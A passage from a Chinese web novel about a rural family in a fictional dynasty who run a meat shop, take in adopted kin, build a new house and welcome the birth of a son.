这人还专门来与他说一声,也算是厚道。 也罢,能在山下安稳过日子,便不能再望着山里,忒贪心了,不好。 羅四娘在边上瞧着,看公爹虽遗憾可也不算伤感,特地弄了倆好菜来招呼客人陪着公爹好生喝了一盅。 在席间话家常时,又给鋪子里添了新品:“趙家兄弟讲道义,还专门跑一趟。我家与林家在县里合夥开了间鋪子,卖些鲜肉甚的。铺子生意还不错,趙兄弟往后夏月间弄得的猎物,若是不好出手,只管拿到长兴坊内的林家铺子上来。” 趙猎户受了人好一顿招待,自觉沈家人大方,此时哪里肯應:“哪有这样行事的?夏月猎物不好卖,怎好教你们担风险。我若是弄到了稀罕货物,一时又不好出手,自会来寻你们。” 沈山平此时反應过来了,便在一旁幫腔:“赵大哥怎如此生分?都是在山里讨生活的,我自是晓得咱卖货的難处,夏月野物價贱,少不得要被挑拣;秋日里倒是好卖,可卖去铺子里一准儿被压價,若是自家摆了摊子来卖,巡栏一来,不论这货物卖不卖得出去,就得先给钱,又耽搁时间。 山里讨生活的人,哪有恁多时间来耗着?赵大哥便听小弟一句劝,若是手里的货物一时不好出手,便都往铺子里送来!我这铺子虽是合夥生意,可我自家掏了腰包来采買赵大哥手上的货,赵大哥放宽心,必不教人为难的。” 两人都劝,赵猎户瞧着他们神色不似作假,便道:“那敢情好!先前嫌麻烦,家里人手少又要赶着进山,猎得的野物倒是一股脑都卖给西市那头的蒋大官人处,可他那铺子里的小伙计难缠,回回去都要挑三拣四还说些不中听的话,俺早不耐得与他纠缠,如此,往后俺那头的货物便都送在你这头了?” “成!咱就这样说定了!” 铺子里本就有些稀罕货,自打售卖鲈魚甲魚后,连西处的人家都来采買,他们很是积累了一批优质客源。 这些个野物弄到铺子里不愁卖,说不得还能再引些客来。 林真见了,将羅四娘好一顿夸:若不是这伶俐人,沈家父子一时半会儿的,怕是还想不到这头上。 就是这样齐心,才能将铺子经营得有声有色。 林真笑着,倒也没与罗四娘多客气,朋友做到这份上,若是一味推让,倒是显得生分。 “倒是有一樁事儿难辦,咱两家养得鸡鸭兔子多。铺子上好销是一回事儿,若是能教教周边人家辦事置席时,晓得往咱们这头来定鸡鸭鱼肉,那便又是一桩生意!可我这念头才刚起,这小家伙就来了,这倒是不好辦。” 先前林茂安成亲,她大伯娘找来,说是要在林家这头采买席面上用的鸡鸭鱼肉。 “我自家养得少,办事儿置席定是不够的。便从你这头一气儿都置办齐全了,免得东家找两只,西家买三只的,明明都是给钱的,还要搭些人情进去。还是咱真姐儿好,行事爽利不拖沓,丁是丁卯是卯的,这银钱往来之事,本该如此。” 林真听了,心中一动,笑道:“这样,我爹早说了茂安哥成亲,他送一整头猪,我也不能小气了,席面儿上的鱼,我便给包了!至于大伯娘采买的鸡鸭兔儿,当是您照顾侄女儿的生意,给您按着市价来算,都挑好的还给抹零!” 李金梅听见真姐儿送鱼便要摆手,席面上的鱼要取好意头,那得是整个儿的,她家办席,少说也得二十来桌,怎能凭白教真姐儿出恁大一笔钱! 林真抢先道:“哎呦,大伯娘,侄女儿是拿茂安哥的好事来扬名呢!您就听我的,若是有人问起您在我这头采买的鸡鸭兔儿是个甚价,您只管大大方方说与他们听!” 李金梅这才反应过来,对林真只有服气的。 “咱真姐儿这脑子,不怪是能干大事的。成,大伯娘便承你这份情!” 林真从她大伯娘这头得来的灵感,晓得是好主意,可也得踏踏实实地跑下来才能成事儿。 铺子里轻松些,挂个招牌多说几句的事;可若是想在乡里乡间揽生意,少不得要自家亲自去跑。 好在林屠户和沈山平本就要往十里八村地去收猪,原先想着,她与罗四娘两人,轮流跟着去收猪,多费些口舌,好生与村人说道,教人晓得办事采买还能来枣儿村这头。 可如今有了身孕,就此时赶路的路面和板车,林真定是受不住如此颠簸的。 “咱这樁生意只能多劳你倆费心了。”林真掰着手指头数。 贺景本就是堰塘铺子两头跑,她这厢有孕,少不得要使唤贺景,可不能再教人添重担了;苗娘子要制腐竹还要照管家里,也不成;又碰上家里建房,这回屋子建得宽敞,没个三五月的,这屋子且建不好,他爹还得照看着那头。 算来算去,这担子,可不就全压在罗四娘肩上了? 罗四娘听了这话,没顺着说,只皱眉,“真姐儿,我听你这意思,是还要守着铺子?这可不成,铺子里的活计瞧着轻省,可也是磨人得很,你这刚有了身子,怎能劳神?你早先从慈幼院带来的那倆丫头,还带在身边亲自教着,她俩也算历练出来了,又有小柳幫着,我上午守着,下半晌教贺景守着,你安心养着就成。” “那得把你累成啥样?”林真摇摇头,“这不成,我有分寸的,有了身子又不是不能做活儿了。你也说了,俩丫头不错,我只管着大头,又有贺景在一旁,还有你相互照应着,出不了事儿。” 他们那铺子铺得广,上半晌人多,她若是不去,全教罗四娘顶着,下半晌又还要跑生意,这便是着实压榨人了。 罗四娘劝不动,想着铺子里上半晌那热闹劲儿,心里也有些发憷。这铺子经营起来,积累下这几分好名声着实不易。 名声难得,可若要糟蹋,也快得很,招呼不周再出些纰漏,这好不容易攒下来的人脉客源就得砸。 她叹口气,恨恨道:“可恨我家那个是个笨嘴拙舌的,人还长得凶巴巴的,眼儿一瞪,倒像是要与人动手,这招揽生意的活儿,还真得教我跟着才成!这厢,便只能累着你了。” “这有甚?都是自家生意,应当的。” 不成想,俩人头痛的这桩事儿,反倒是教燕儿担住了。 燕儿小心靠着林真:“阿姐不肖忧心,学堂本就是申时正(下午三点)散学,我与仇娘子告个假,每日提前半个时辰散学。不拘是跟着爹爹还是沈家大哥一道,多跑跑,自能将这桩生意跑出来。如此,也能教罗娘子守着铺子,阿姐便能多歇歇。” 燕儿也没说教阿姐不去铺子的话,她阿姐定是不会听的。 林真不同意:“这怎么成?你每日散学后还有功课,且正是学本事的时候,没得叫家里的事儿耽搁了。” 压榨小学生?不成,不成。 “这怎能算耽搁?别家小娘子在我这个年岁时,也要分担家事呢!我怎么不成了?至于功课,夜里点了灯来便能做。我也不缺觉,晌午能在铺子后院儿里歇一回呢!” 燕儿缠着林真:“还是说,阿姐舍不得夜里的灯油?” “小滑头,这样能说会道!” 林真点点她,瞧着小大人似的燕儿,也只得点头。 “阿姐与你买白烛使,省得小小年纪便坏了眼睛。” 燕儿原先就跟着林真摆摊子,后头又跟着在铺子里招呼客人,那时候就很是伶俐。 此番跟着仇娘子学了一段时日,说话做事更是大方,倒不会轻易被人小瞧了去。 身旁再跟着大人,应当能成。 林真倒也没全然将这事儿丢开手去。 家里建房请了大伯与有文叔来帮衬着,教她爹也能腾出手来多跑跑;再有罗四娘与沈山平也十分上心,平日里得空就往乡里跑,并不多歇;还有林茂安,本就挑着担子四处跑,林真也请了他帮着多说道说道。 如此下足了功夫。 这日,终于是有一外村老叟,打探着来林家采买肉类去办席。 “听得一位小娘子说得多厉害,猪肉有,鸡鸭兔子也有,活鱼也不缺,听着倒是一处就能采买齐全。说得还在县里开了铺子,若是不好,尽管去找。”那老叟背着手,瞧着林家的牲口棚拾掇得多干净,确实是甚都有,心下满意。 “也不枉老汉一路打听着找过来。我这厢办喜事儿用,鸡鸭要得多,可能帮着送上门去?” “这是自然,您挑好了,咱这便与您一道去。”苗娘子又多问了一句,“可要请人杀猪?咱这头,俩屠户呢,动作利索得很!” “这倒是不肖,俺早先便请了屠子来杀猪了。” 苗娘子招呼着林大海给老叟逮了足数的鸡鸭,都捆住脚,算清了银钱,又套了驴车来送货。这是先前说好的,林有田父子帮着送货,一回给五个钱。 “大海,路上慢着些啊。” 林大海是小辈,苗娘子便很是自然地叮嘱几句。 晚间说起总算开张的生意,一家子都很是高兴。 林真更是欣慰:瞧瞧,现下这一家子,不论将谁拎出去,都能担事儿了! 第79章 万事开头難, 可若是有了第一樁上门采買的生意,自然就有第二樁。 一家子都齐心,尽心打理着, 这桩生意也慢慢做起来了。 此时已渐渐入夏,林真有孕后,除了先前蒙头狠狠睡过几日倒是没甚太大的反应。她此时小腹渐渐隆起,可换了宽松的衫子倒是瞧不出来, 人也多精神。 可偏偏周围人多小心, 过了早市最忙碌的那一阵儿, 便要教她往后院儿去歇着。 林真见他们多忙碌,偏生还要留心瞧着自个儿,便也不逞强,自去后院歇着, 只做些烧茶记账的輕巧活儿。 “你尝尝,这是燕儿折腾的炒麦饮, 说是我现今不宜喝团茶, 专专請教了仇娘子才制成的。”林真将一盏子琥珀茶汤捧给来瞧她的黃繡娘。 “我偏爱那股子炒麦仁的香醇, 没搁其它东西,你且试试能不能吃得惯, 若是嫌寡淡, 便搁一勺子岩蜜来吃。” “果真风味独特, 清爽回甘, 还有股说不出来的焦香味儿。”黃繡娘先是一个劲儿地赞,又顽笑道, “可惜了,我是没有这样贴心的好妹子。现心里酸得很,有心想多吃几盏子, 却怕将自个儿越吃越酸咯。” “黃姐姐这嘴可真靈,我不就是故意烧了好茶来酸你的!” …… 两人说笑几句,黃繡娘正色道:“妹子,先前是我心窄了,说了些不中听的话,你不计较,还与我这样要好,可姐姐不能当没发生过,此番在这儿,给你赔不是了。” 黄繡娘这番话,说得是先前为燕儿找学堂的事。 林真先前自家打听了好几處,都不大满意,这才托了黄绣娘幫着打听。她在慈溪多年,且她那铺子里出入的多是当家夫人娘子,消息更靈通些。 果然,黄绣娘很是上心,不过几日便有了好消息。 还一气儿打听了三家来。 可问题就出在这儿,黄绣娘自家是瞩意另两家的,至于仇娘子處,她压根儿没考慮,不过是说与林真听听,曉得县里还有这号人物。 哪想到,林真偏偏还就选了仇娘子。 “妹子,你不再考慮考虑?仇娘子那头,一来,要价不低;二来,也不好进。她眼界高,收徒也要选人的。”黄绣娘当即便劝道。 还有些话她没说出口:异父异母的妹子,送去学堂已算是少有的大气,怎还这样费心?不怕将真心错付了? 林真摇头:“黄姐姐,既要去学堂,那便要去个能学到真本事的地方。且我听着黄姐姐说起仇娘子的事迹来,便覺这样豁达坚韧的女子好生難得。言传身教,我也盼着燕儿能学得几分老师的气度呢!” 当时黄绣娘不知怎的,像是突然犯了轴,又出言阻拦。 可林真心意已定,自是不肯听。 “你倒是好性儿,可不曉得捧着一腔真心,会不会摔个稀烂!” 两人相交以来,从来和颜悦色,哪里说过这样不客气的话来。 林真当时诧异,也只道:“便是结果不好,那也是往后的事儿了。怎能因着还未发生的事而否定当下的情分?黄姐姐,我晓得輕重的。” 林真不是烂好心,可与今朝的家人相处,已是她前世从未得到过的温情。 况且,最坏的结果也不过是损失些银钱。 至于真心错付?若是此时已帶了计较,那又有几分真呢?且若是日后有甚,她已做到问心无愧,便能当断则断再不牵扯。 林真先前不介意,此时又怎会介意。 “黄姐姐这话说的,你比我年长些,经历的事儿自是比我多,你唤我一声妹子,我只当你是真心相劝。人又不是一个模子印出来的,便是有甚分歧实属寻常。哪里就谈得上赔不是了?” 黄绣娘低下头去,接着茶水将喉间的酸涩咽下去,好一会儿才道:“好妹子。” 两人又闲聊几句,临走时,黄绣娘还是忍不住道:“妹子,姐姐今朝再多一句嘴。别雇人了,認个干亲罢。户籍落下,你为主他为客,再不怕有那卷了细软奔逃的歹毒小人。 你瞧我身边那丫头好吧?那就是我認下来的干亲,户籍也落在我名下,若没有这层关系在,剪裁、配色、刺绣,我如何肯样样都教她?” 这又是另一桩教人为难的事儿了。 她家,真的缺人手,稍有动作或者突发事件,人手上便显得捉襟见肘。 她今朝有孕,家里起意雇人来伺候月子和照顾小崽子;她便有意再添补一二劳力来使唤,教家里人能腾出手来。 今朝是她有孕,说不得甚时候罗四娘也有孕,那铺子上便要她家顶上去,若是家里人还教琐事缠身,教谁去盯着铺子? 这番从钱牙婆处雇人,连钱牙婆都隐晦道:“娘子家业大了,手上定然缺人使唤,这朝雇佣人力倒是便利,可若是长久地在家里,还是认下一门干亲来得方便。到底多层忌惮,主家使唤着也放心不是? “您且放心,这事儿……”钱牙婆伸手指了指上头:“虽不大和规矩,可上头的大人们,全都闭着一只眼睛呢!就是真要追究,也掰扯不清楚的。” 大虞朝,非士不得蓄奴,更准确地说,此时,少有被人捏着賣身契的贱。口奴仆,反是通过中人雇佣而来的人力女使为主。 那等与賣身契一道买卖的奴仆,多是罪人之后,有官方凭证的,也只能从官方机构買卖,没点儿家底和渠道的小门小户,轻易买不得。 所以,才有斗仆之风彰显底蕴。 林真此前一直没定下心来,家里多一个唤她作阿姐的,或是唤她爹阿爷的,她都嫌不自在。 先前只拿话敷衍了钱牙婆。 可人多精明,还道:“娘子心善,到了你家,总比到别家强。像是您铺子里使唤的慈幼院那俩丫头,就是走了大运。及笄后,既不会被随意婚配,也不会被人强认了去。” 此时,瞧着黄绣娘,林真想起钱牙婆的话来,便道。 “我晓得了,今朝倒是变得游移不定的,黄姐姐的劝,我听在心里了。” 罢了,家里确实是缺知根知底的人,能幫着养鱼制腐竹却不怕出岔子的人。 这番定下心来,林真也没拖着,当即便去与钱牙婆回话。 “还請您多费心,心思灵巧倒是其次,要的是老实忠厚。您也得先说明白,我家里是普通农户之家,活计辛苦,也比不得那富贵人家体面,只胜在人口简单,过得也是平凡日子。” 钱牙婆倒是欣赏林真这份通透,一口应下,还赞道:“娘子果真不凡。” 林真笑笑:“不过是求一个心甘情愿,哪里就值得您这样赞。” 这件心事一去,家里、铺子里的事情都顺当,林真倒覺得格外轻松。 有孕辛苦,她今年格外苦夏还吃不得冰,可心里没烦心事儿,日子一天天过着,也不觉着多难熬。 六月上,她大伯母风风火火来家里借了骡车,帶着岑女医去了巧儿那头。第二日才回来,面上满是喜意,便是熬了一宿,也不见疲倦。 “生了!生了一个大胖小子!” “真的?那巧儿如何?”林真急忙追问。 李金梅瞧着林真,眼中差点儿流出泪来:“好孩子,也只有你想着巧儿,还先问一问巧儿了!你放心罢,有岑大夫在,巧儿好得很!” 她又拉着林真的手:“这回,大伯娘可得好好谢你。幸而你想着巧儿,教我带了岑大夫去,不然,巧儿可是要遭罪的!” 她又恨恨道:“面善心黑的老虔婆!这厢巧儿一举得男,再将姑爷笼过来,我瞧你还如何生事儿!” 林真不敢细问她大伯娘,明明先前是瞧着千好万好的人家才将巧儿许出去的。 晚些时候,她嫂子刘桂香来了,这才细细说给林真听。 “是那亲家婆婆,先前倒没觉着,可偏在巧儿破了水,要吃紅糖鸡子时,化了符水在里头。人还多精明,晓得事先将那些黑灰都挑拣了,又搁了两大勺子紅糖在里头。 幸而岑大夫负责,在巧儿边上一直未离身,吃得用得检查得细致,勺子一搅,她再一闻,当即便拉下脸来,将那老虔婆好一顿呵斥!” 刘桂香撇着嘴:“那老虔婆哭丧似的,不嫌晦气还一个劲儿地嚷嚷,这是她从庙里请来的好符纸,喝了一准儿得男!可岑大夫多厉害!” 刘桂香虎着脸肃着声,学着岑女医的样子道:“一举得男?若真是这样灵,那天底下怎还有恁多女子?若要讲甚心诚则灵,没得男的便是心不灵,那便是你平日烧香拜佛有不敬之举,才要这劳什子符纸来弥补!” “厉害啊!”林真听得拍案叫好,恨不得为岑女医举大旗! “可不是!你是没瞧见啊,那老虔婆当时的脸色,红红白白好不精彩,一句话都说不出来。”刘桂香又小声道,“李盖的脸色,当时就不好了。请他娘出去的时候,我瞧着,拳头攥得紧紧的,手上青筋都爆出来。 这心底,定然是戳了根刺。你瞧着,我婆这几日去李家,不止是照料巧儿,定然会将姑爷给笼络住,教他往后可得多想着自个儿的小家。” 刘桂香显然是憋得慌,在这头说了好一会儿的话。 走时,还满是羡慕:”真姐儿,有时还真是羡慕你,这些事儿,你家里定然是不会有的。” 林真也没多说,只托了苗娘子去瞧巧儿的时候,带了好些东西给她。 “巧儿那头您不必问,只帮着问一问李盖,先前我说的事儿,他想得如何了?” 第80章 巧儿是六月上旬生产, 日子转瞬即过。 待到八月,桂花开得香。 城里多了好些桂花糕、桂花蜜和桂花饮子的时令吃食,还有專專卖幹桂花的。 枣儿村没有桂花, 林真倒是趁着正当时,买了许多桂花蜜和幹桂花来,预备着重阳蒸花糕的时候,洒一层幹桂花, 衬着桂花蜜。 在这样香气飄飄的日子里, 林家叮铃啷当响了四个多月的新宅子, 總算是落成了。 新宅建成,自然要行上梁礼,摆了席面請客吃饭。 行上梁礼时,讲究些的人家会請了建屋宅的工头来, 林家自然也请了。 家里这宅子建得漂亮,当时是专门从县里请了俩支工隊来, 要价不低, 可人确实有本事, 宅子建得好,工头瞧着主家有孕, 还提议专门建间有火墙的月子房。 “東家坐月子怕是在冬月里头, 那时最是受不得冷。可咱这头, 冬日虽不似北邊儿那样冷, 可照样雨雪不断,湿冷得很。不若建了火墙来, 東家买的料子好,盘火墙不成问题。且冬日里本就要烧热茶汤,也不会浪费薪柴。” 火墙火炕, 林真两辈子都没使过,可她想起前两年冬日里用两床被子裹成团,可还是觉着冷的自个儿,痛快点头。 就在林家上梁礼的这一日,林家人帮着说项,将李盖塞进了工头的营造隊里去。 林家建房,李盖原先所在的工队,闻着味儿就来自荐了。 那工头,满口的親戚经,大话不要錢似的往外吹。 林真略问了几句,便晓得这人本事不大脾气不小,直言拒绝了。 李盖倒是来帮忙了,用他的话说:本就是親戚,建房他怎么也得搭把手。况且县里来的师傅手艺好,他在一旁学着点儿,没坏处。 人也确实踏实肯干。 林真当时还纳闷:不对啊,就李盖这样,怎会在那工头手下做事? 后头才晓得,这工头是李盖老子娘尋的,自来不曾问过李盖的意思,且但凡李盖口中有怨,也只一个劲儿地骂李盖不知足。 更过分的是,李盖的工錢,居然是直接结给他老子娘的! 压根儿没从李盖手中过。 她大伯娘晓得的时候,心里凉飕飕的:虽说父母在不分家,也不置私产。可这儿子都成家了,还这样行事的也是少见。 她后悔得很,可当时巧儿已进门了。 大伯娘只能咽下满心苦涩,教巧儿先将姑爷笼络好,自家再想法子帮衬着。可这到底不是长久法子啊! 林真知晓此事后,直言:“法子有,这不是现成的倆工队么?瞧着工头是个有本事的,咱想了法子将他塞进去就是。只是,这事儿總得他自个儿冲在前头,没得躲在巧儿身后。” 賀景心里有些恼怒,可瞧见林真动气,忙忙劝她:“怎还生气了?我瞧着李家兄弟是个肯干的,且人自个儿往这头来,未必没存着另投他处的想头。你且放寬心,我去尋李家兄弟说说话。” 此时拖拖拉拉掰扯了快两月,直到巧儿生产那日彻底爆发。 好在结果是好的,终于在林家上梁礼这日,教工头答应,收了李盖做事。 只工头精明,瞧着酒吃得多,可人说出来的话却多清明:“在我手下做事,辛苦,时常还得在外奔走,遇上工期紧的时候,便得宿在外头。我听闻你成親不久,又才得了个大胖小子,真舍得?” 李盖一口应下:“便是成家后,才晓得手里没錢有多苦。我自个儿苦些不要紧,没得教妻儿跟着我受苦。您放心,我这朝厚着面皮求到媳妇儿娘家这头,便是下了狠心的。” “成!我便记着你这番为了妻儿的话了。” == 晚间,林真散了头发躺在凉席上,賀景在给她揉腿。 她瞅着烛火下的俊脸,哂笑道:“怎的?还生气呢?” 贺景去捞另一条腿,闷声道:“是生气了,可现在是生我自个儿的气。” 旁人惹真姐儿生气,他心里自然不乐意,可此番是他没藏好,教真姐儿瞧出来了,又添烦心事儿。 “好了好了,巧儿与旁人不同。若是旁人,我定然不会多管闲事的。”林真哄他,“咱九月里搬新宅,那里寬敞,我也有处转悠,轻易不会出门,我连铺子里都不去了!” 她约莫在冬月(十一月)生产,此时已是八月底,她身子笨重,寻常出门,贺景得往辇车上铺三层褥子,亲自赶车不说,那驴车行得比牛车还慢! 林真早先便决定不去铺子里了,此时便拿这话来哄贺景。 “果真?”贺景眸子一亮! 林真点头:“自然是真的,鄒娘子一家也来了。铺子里有四娘和你瞧着,我再没甚不放心的,自然安心等着这小家伙出来。” 九月廿九,宜入宅。 林家早先便将老宅那处用得顺手的起居用物都搬过去了,又着意添置了不少,只等着择了吉日入住。 这日也要宴请亲友,不过只是小宴,请些亲近的友人便是。 林家的新宅甚是宽敞,总共十六间屋子的两进宅子,又帶俩小跨院。 大门和倒座房连着从前的老宅子,显得甚是开阔。 老宅子拾掇出来,专门用来待客;制腐竹的地儿没动,但是砌了一道墙,将原先西厢的三间房全包了进去,只开了一道月亮门,教落了户籍的鄒家三口人住进去。 如此,鄒家居中,能守着腐竹作坊,于客房和倒座房那邊也能照应着。 鄒家三口,是錢牙婆寻了许久才找着的,愿意在农户之家落户的人。 邹娘子一人,帶着一双儿女,儿子十三,女儿十岁。 “自个儿卷了户籍逃出来的。死了男人,家里公婆叔伯便惦记着她那一点子田屋,不止要强占了去,还想教她那小女儿去商贾人家認干亲!”钱牙婆多稳当的一个人,此时也动了怒气。 “商贾重利,也没甚规矩,教这花骨朵似的女儿进去,能有甚好下场!遇上一对偏心的公婆,便是有个半大小子顶着,也不成!” 林真沉默着,没搭话。 钱牙婆又道:“林娘子,我自是晓得这邹家三口不大如您的意。可她家原先也是普通农户,她自个儿也怕进那高门大户的,又不想一家子骨肉分离,这才求到我这头来。我仔细瞧过,邹娘子虽生得瘦小些,可干活儿很是卖力气,她家那小子也不孬,力气大得很,再有两年,田间地里的,又是一把好手。您将她们一家子都認了去,婆子做主少几贯钱,也算一桩善事儿了。 若是不成,娘子且得再等等了。” 林真晓得,愿意这般落户认干亲的,少有愿意往普通农户之家来的,钱牙婆已算是人脉广,这朝帮着寻人,也废去了两月的功夫。 她瞧着那灰扑扑又格外沉默的一家三口,点了头。 两人立下契来,林真隔日套了驴车驮了钱来,顺道将邹家一家三口领回去。 邹娘子大着胆子道:“娘子,俺们身上不洁净,二丫还小走不快,教她坐前辕子上,俺和大壮跟着车走便成。” 他们一家三口,只两只包袱,瞧着轻飘飘的,跟着车走也不是不成。 可林真想了想,招手唤来大壮,摸了十个钱与他,道:“去雇辆车来,教车夫跟着走。” 大壮点点头,一溜烟儿跑走,不多一会儿,雇了辆牛车来。 “娘子,我与车夫说好了,跟着走一趟,只俺们三人,十五个钱。先给了五个钱的定钱,剩下的,到了再给。” 林真点点头,又摸出五个钱与他,赞道:“不错。” 这般跟车走,还只带他们三人,便算是包车,差不多是这个价。 一家三口,便当做是林家投奔来的远房亲戚,就此住了下来。 邹娘子跟着苗娘子制腐竹打理家务,大壮跟着她爹跑,至于二丫,林真原是想教她跟着燕儿的。 仇娘子那处的学堂,算上燕儿,有六位小娘子,个个儿家境都不差,书商、扇面铺子家的小娘子,还有童生的女儿,身边都跟着小丫鬟使唤。 就燕儿没有。 可燕儿自个儿拒了。 “阿姐留二丫在身边罢,寻常能递个东西跑个腿的。家里现在大得很,你身边不跟着人可不成。至于我,每日有车接送,我自家收拾东西快得很,且我也不乐意教其他人东动我的东西。 ” “真不要啊?”林真摸摸燕儿的头。 不管什么时候,特立独行总归会引来些注目,而那些目光里,多数时候,不是善意的。 燕儿靠在林真边上,伸出手来,小心摸了摸林真已然遮不住的肚子。 “阿姐莫要忧心,些许小娘子之间的纷争,不过是些言语口角,我懒怠得搭理,且正是这时候,才能晓得谁是值得相交的好友呢!像是承节郎家的肖姐姐,就很好。” “好,你心里有数便好。阿姐便不强求,只一点,有甚事,要与家里说。” 小孩子儿大了,现在都不梳小鬏鬏了,梳着双丫髻,戴着绒花,瞧着清丽可爱,可挺直了腰,正了身子,肃着脸,瞧着很是可靠。 家里不止添了邹家三口,还有吳麽麽,一下子轻省不少。 吳麽麽原先还以为有了邹家三口人,主家必定会打发她走的,她心里原还忐忑着,可没成想,主家倒是瞧得上她。 “咱相处恁久了,您心细,行事又妥善,帮着我带崽子我最是放心不过,哪里舍得教您回去呢?” 林真还给提了月钱,从前吴麽麽只帮着家务,现虽有邹娘子一同相帮,可照料婴孩最是辛苦,要想人尽心,得给人加钱。 况且,邹娘子和吴麽麽,天然处于不同的立场,双方也算互相监督。 再有家里人也盯着,便再不会出甚意外。 林真暗暗唾弃自个儿,可为着肚子里的孩子,她不得不小心算计着。《 》 80-90 第81章 万事具备, 一家子俱是眼巴巴地盼着新生命的到来。 可眼瞅着入了冬月,天儿一日冷过一日,晨起的白霜一天比一天厚, 林真的肚子丝毫没个动静。 林真受不得冷,家里今年早早便开始烧炭。 今年冬天格外濕冷,雪是没落,可雨没少下, 如此濕冷倒是更难熬。 林真索性早早搬到砌了火墙的西廂房去住着。 在屋子里还好, 干爽温暖, 不用裹成团便能活动开。可一旦出了屋子,那股子湿冷是再也挡不住,林真恨不得裹着被子才出门。 家里人瞧着球一样的林真,只覺着心慌。 邹娘子和吳麽麽更是一日扫三次屋子, 就怕路上湿滑,教主家娘子脚下打滑。 賀景也不去铺子上了, 雖则冬日里正是铺子里生意旺的时候, 可他早将小柳教出来了, 又教大壮也去铺子上帮忙,再有林屠戶去守着。 他自个儿留在家里守着林真。 “当心脚下, 咱慢慢儿走, 稳当着些。”賀景扶着林真, 不错眼地盯着她。 “呼!”林真呼出一口白气来, 只覺着身子格外笨重,可又不能不活动。 到了孕晚期, 肚子沉甸甸地坠着,浑身哪哪都不舒服。 先前的水肿,抽筋儿甚的, 比起孕晚期的种种不适来,居然已是算好的。 她低头,只能瞧见自个儿圆滚滚的肚子,連自家的鞋尖儿都瞧不见。 “也不知道这小崽子甚时候才舍得出来,日日拖着他,我連翻身都困难,还得听岑大夫的话,每日都要走动。” 賀景护着林真,安慰道:“快了,岑大夫说也就是这几日了。咱慢慢走一圈儿,透透气便罢了。我明儿一早便去買蜜桔,你吃着解腻,桔皮放在熏笼上,屋子里清爽,咱便少出来罢。” “瞧瞧可有黄皮子的冬梨,汁水多吃着也清甜。屋子里炭火足,吃梨子倒是舒服。”林真来了兴致,“还有栗子,買来烤着吃,再教吳麽麽揉面蒸馒头,掺些粗面进去,咱烤馒头片儿吃!” “成,都依你。” 翌日,林真在屋子里烤桔子、栗子、馒头片儿,满室焦香。 她正起劲儿呢,忽覺得腹部发痛,且与以往不同,一陣儿一陣儿的还挺有规律,且愈发明显。 她预感不对,可瞧着烤得金灿灿的馒头片,还是执着的捏了一片来,蘸了桂花蜜,大大咬下一口来,才道。 “我覺着,要生了。” “啪嗒!” 賀景手里的火筴一下子砸在地上,他脑子里懵了一瞬,当即反应过来,要去請大夫! 他雖很想自个儿留在屋子里守着林真,可心里晓得,此时趕紧去請了岑大夫来才是正事儿。 “二丫,来,守好娘子,我出去喊人。” 贺景此时是真庆幸,留了二丫在林真身邊。 他转身对林真道:“你别怕,我去请岑大夫来,很快就回来。” 林真还叼着馒头片儿呢! 只衝他点点头。 贺景脚下发力,急忙跑了出去,先喊了邹娘子和吴麽麽来,瞧见她俩都进屋了,心下稍安,也不去套骡车了,自个儿将衣裳下摆一扎,一阵儿风似地朝着岑大夫那处跑去。 等贺景扯了岑女医来时,灶上早早便烧了水,一早炖着的鸡汤也成了,吴麽麽正要下汤面。 进屋去,先前那一摊子早收拾利索了,床上新铺了褥子,屋内温暖如春,邹娘子正扶着林真缓缓转圈儿。 岑女医先点头,赞道:“不错。” 随即便要去瞧林真,瞅见紧紧跟在后头的贺景,眉一皱。 “你跟着作甚?出去等着。” 贺景心下着急,可又不敢反驳,便只能眼巴巴瞧着林真:“真姐儿,你莫怕,我就在外头。” 林真看得好笑,瞧见他大冬天的跑得一脑门的汗,道:“我不怕,你且去瞧瞧,我的鸡汤面可好了。” 岑女医点点头:“是要趁着此时疼痛能忍,先吃点儿东西蓄力。好孩子,莫怕,我在这儿呢。” 林真点点头,瞧着贺景被白英轰出去,想笑。 可很快,她便笑不出来了。 从日中到日落,林真只觉着自个儿经历了一场漫长又无比清醒的噩梦。 趴在外头的贺景也没好到哪儿去,听着里面偶尔传来的哭喊,他心里油煎一般。 他还从未瞧见过林真落泪,真姐儿何时这样失态了? 脸上一凉,竟是落雪了。 恰在此时,屋内传来一声婴孩儿的啼哭,甚是响亮。 贺景回过神来,急忙往屋子里衝,这时,是再没人趕他走了。 屋内血腥味还未散去,林真躺在床上,面色发白,额上满是汗水,鬓发湿漉漉地黏在脸上。 贺景顾不得抱着孩子的岑大夫,直直冲到林真面前,声音发颤。 “真姐儿,你怎的了?” 林真偏头去看他,笑了笑:“累。” 岑大夫没眼看,冲着跟在后头的林屠户等人道:“是个小子,母子平安。” “好!好!我林家有后了!”林屠戶一叠声道,又去问林真好不好。 苗娘子也歡喜,瞧了小崽子和林真后,又忙着招呼岑大夫和来贺喜的人家,还将燕儿和林屠户都拉了出去。 真是没眼力见儿,将才贺景瞧着倒似落泪了,此时母子均安,没得在此处扰了他们。 屋内安静下来,贺景此时才抱了孩子来给林真瞧。 “你瞧,他这会儿子倒是乖巧,眉眼生得像你呢。” 林真偏头,瞧着一大一小,有种说不出的满足。 “你给取个小名儿罢。” 贺景扬起头来看看林真,又低头看看怀里睡着后格外可人疼的的小崽子,道:“外头落雪了,是今年的第一场雪呢。唤他平安罢,我只盼着你们平平安安。” 林真笑了笑,伸手点点小崽子滑嫩的脸蛋儿:“好,平安。小平安,歡迎你到咱家来。” 贺景抱着小崽子也想贴一贴,又怕新生儿娇嫩,便只将额头贴在小被子外头,也低声道:“平安,爹和娘都盼着你呢。” 襁褓内的平安,努了努嘴,像是回应似的。 林真心神放松便觉得格外困倦,打了个哈欠。 贺景忙放下小平安,给林真理被子,道:“你睡罢,我守着呢。” 折腾许久,林真确实累得很,眼儿一闭,便沉沉睡去。 == 家里添丁,众人欢喜得跟什么似的。 林真早先便说了,孩子生在冬月里,冷得很,洗三和满月便不办,意思意思就得了。待翻过年去,天儿暖和些后,办百日宴。 即便如此,家里也热闹得很,日日都有人上门来瞧。 亲戚不说了,村儿里亲近人家都来贺,她姑和巧儿也套了车来瞧小崽。 巧儿满眼羡慕:“瞧瞧你家平安,这眉眼俊得很,连着面皮也白白净净的,将来一准儿是个俏郎君!” “嗯?哪里就瞧得出来?我虽还未瞧过你家昌哥儿,可你生得好,妹夫也不差,想来是个可人疼的。”林真倒是佩服他们,这小孩子家家的,哪里就能瞧得出来俊俏? 她反正是瞧不出来的。 林巧儿道:“等平安百日的时候,天儿暖和了,我帶了昌哥儿来给你瞧。我先前也觉着自家崽子好看,可瞧了平安,是再不敢说这样的话了。” 林真听见巧儿的打趣,心里倒是欢喜:这才是从前那个爱说笑的巧儿。 